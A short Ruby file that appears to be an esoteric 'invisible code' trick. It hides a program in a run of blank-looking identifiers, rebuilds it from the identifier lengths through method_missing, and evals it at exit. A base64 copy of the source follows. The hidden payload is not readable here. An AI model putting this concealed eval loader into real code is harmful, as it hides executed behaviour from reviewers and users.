# encoding: utf-8
 
def method_missing(m, *a)
  $* << (m.to_s.size-1).to_s 
end
 
at_exit do
  eval ($**'').scan(/.../).map(&:to_i).pack('C*')
end
 
                                                                                                                                                                                                                                                   

IyBlbmNvZGluZzogdXRmLTgKCmRlZiBtZXRob2RfbWlzc2luZyhtLCAqYSkKICAkKiA8PCAobS50b19zLnNpemUtMSkudG9fcyAKZW5kCgphdF9leGl0IGRvCiAgZXZhbCAoJCoqJycpLnNjYW4oLy4uLi8pLm1hcCgmOnRvX2kpLnBhY2soJ0MqJykKZW5kCgrCoMKgwqDCoMKgwqDCoMKgwqDCoCDCoMKgwqDCoCDCoCDCoMKgwqDCoCDCoMKgwqDCoCDCoCDCoCDCoCDCoMKgIMKgwqDCoMKgwqDCoMKgwqDCoCDCoCDCoMKgIMKgwqDCoMKgwqAgwqDCoCDCoMKgIMKgwqAgwqDCoCDCoMKgIMKgwqDCoMKgwqDCoMKgwqDCoMKgIMKgwqAgwqDCoCDCoMKgwqAgwqDCoMKgwqAgwqAgwqDCoCDCoMKgIMKgwqAgwqDCoMKgwqDCoMKgwqDCoMKgIMKgIMKgwqAgwqDCoMKgwqDCoMKgwqDCoMKgIMKgIMKgwqAgwqDCoCDCoCDCoMKgIMKgwqDCoCDCoMKgwqDCoMKgwqDCoMKgIMKgIMKgwqDCoMKgwqDCoMKgwqDCoMKgIMKgwqDCoMKgIMKgIMKgwqDCoCDCoMKgwqDCoCDCoCDCoMKgwqDCoMKgwqAgwqDCoCDCoMKgIMKgwqDCoMKgwqDCoMKgIMKgwqAgwqDCoCDCoMKgwqDCoMKgwqDCoMKgIMKgwqAgwqDCoCDCoMKgwqAgwqDCoCDCoMKg